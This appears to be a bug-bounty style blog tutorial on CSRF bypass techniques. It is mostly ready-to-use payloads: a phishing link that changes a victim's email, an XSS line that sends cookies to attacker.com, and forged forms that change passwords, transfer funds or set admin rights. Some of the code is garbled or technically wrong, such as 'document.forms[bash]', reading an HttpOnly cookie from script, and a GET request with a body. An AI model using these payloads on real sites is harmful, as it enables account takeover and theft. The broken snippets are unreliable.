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Introduction
Cross-Site Request Forgery (CSRF) remains a critical web security vulnerability, allowing attackers to force users to execute unintended actions. In this lab scenario, we explore how flawed CSRF token validation—specifically when restricted to POST requests—can be bypassed using a simple GET request.
Learning Objectives
- Understand how CSRF token validation flaws occur.
- Learn how to exploit CSRF protections when validation depends on request methods.
- Apply bypass techniques in real-world bug bounty scenarios.
You Should Know
1. CSRF Token Validation Bypass via GET Request
Scenario: A web application validates CSRF tokens only for POST requests, leaving GET requests unprotected.
Exploitation Steps:
1. Identify the CSRF-protected form:
<form action="/change-email" method="POST"> <input type="hidden" name="csrf" value="RANDOM_TOKEN"> <input type="email" name="new_email" value="[email protected]"> <button type="submit">Update Email</button> </form>
2. Craft a malicious GET request:
GET /[email protected] HTTP/1.1 Host: vulnerable.com
3. Deliver the payload via a phishing link:
<a href="https://vulnerable.com/[email protected]">Click for free rewards!</a>
Why It Works: The server fails to validate the CSRF token for GET requests, allowing unauthorized changes.
2. Exploiting Lax CSRF Token Storage
Scenario: Some applications store CSRF tokens in cookies without proper SameSite or HttpOnly flags.
Exploitation Steps:
1. Check for insecure token storage:
curl -I https://target.com --head | grep -i set-cookie
Output:
Set-Cookie: csrf_token=abc123; Path=/; Secure; HttpOnly
If `SameSite=None` or missing, it’s exploitable.
2. Steal the token via XSS:
fetch('https://attacker.com/log?token=' + document.cookie);
3. Reuse the token in a forged request:
POST /change-password HTTP/1.1 Host: target.com Cookie: csrf_token=abc123 Content-Type: application/x-www-form-urlencoded new_password=hacked
Mitigation: Always enforce `SameSite=Strict` and validate tokens per-request.
3. Bypassing Double-Submit Cookie CSRF Defense
Scenario: Some apps use a “double-submit” cookie (token in both cookie and form).
Exploit Steps:
1. Find a reflected XSS or cookie-setting flaw:
document.cookie = "csrf_token=malicious; Path=/";
2. Submit a matching forged request:
<form action="/transfer" method="POST"> <input type="hidden" name="csrf_token" value="malicious"> <input type="hidden" name="amount" value="1000"> </form> <script>document.forms[bash].submit();</script>
Why It Fails: If the app doesn’t compare tokens server-side, attackers can force a match.
4. Using HEAD Requests to Bypass Token Checks
Scenario: Some APIs process HEAD requests like GET but skip validation.
Exploit Steps:
1. Test if HEAD bypasses CSRF:
curl -X HEAD https://api.target.com/delete-account -v
2. If successful, craft a malicious HEAD request:
<img src="https://api.target.com/delete-account" onerror="fetch(this.src, {method: 'HEAD'})">
Mitigation: Enforce strict method validation (only allow POST/PUT/DELETE).
- Abusing JSON CSRF with Flash Exploits (Legacy but Still Relevant)
Scenario: Some APIs accept JSON via GET requests due to misconfigurations.
Exploit Steps:
1. Check if JSON is accepted via GET:
curl -X GET "https://api.target.com/update?{\"admin\":true}"
2. Exploit using a forced JSON request:
<script>
fetch('https://api.target.com/update', {
method: 'GET',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ "admin": true })
});
</script>
Mitigation: Reject GET requests for state-changing actions.
What Undercode Say
- Key Takeaway 1: CSRF protections are only as strong as their implementation—flaws in token validation logic can lead to full bypasses.
- Key Takeaway 2: Always test all HTTP methods (GET, POST, HEAD, etc.) for CSRF vulnerabilities, not just POST forms.
Analysis:
Despite being a well-known vulnerability, CSRF remains prevalent due to misconfigured defenses. Modern frameworks (like Django’s CSRFMiddleware) help, but manual implementations often fail. Bug hunters should prioritize testing edge cases, such as:
– Token validation skipping on alternate methods (GET/HEAD).
– Weak SameSite cookie policies.
– JSON/XML-based CSRF via Flash or CORS misconfigurations.
Prediction
As APIs shift to REST/GraphQL, CSRF attacks will evolve to exploit:
– JSON-based CSRF via lax CORS policies.
– WebSocket hijacking due to missing token checks.
– OAuth/OpenID misconfigurations leading to auto-submitted grants.
Developers must adopt strict validation frameworks, while pentesters should automate CSRF testing across all request types.
Final Word: Always verify CSRF protections holistically—don’t just rely on tokens! 🚨
IT/Security Reporter URL:
Reported By: Jashim Bugbounty – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
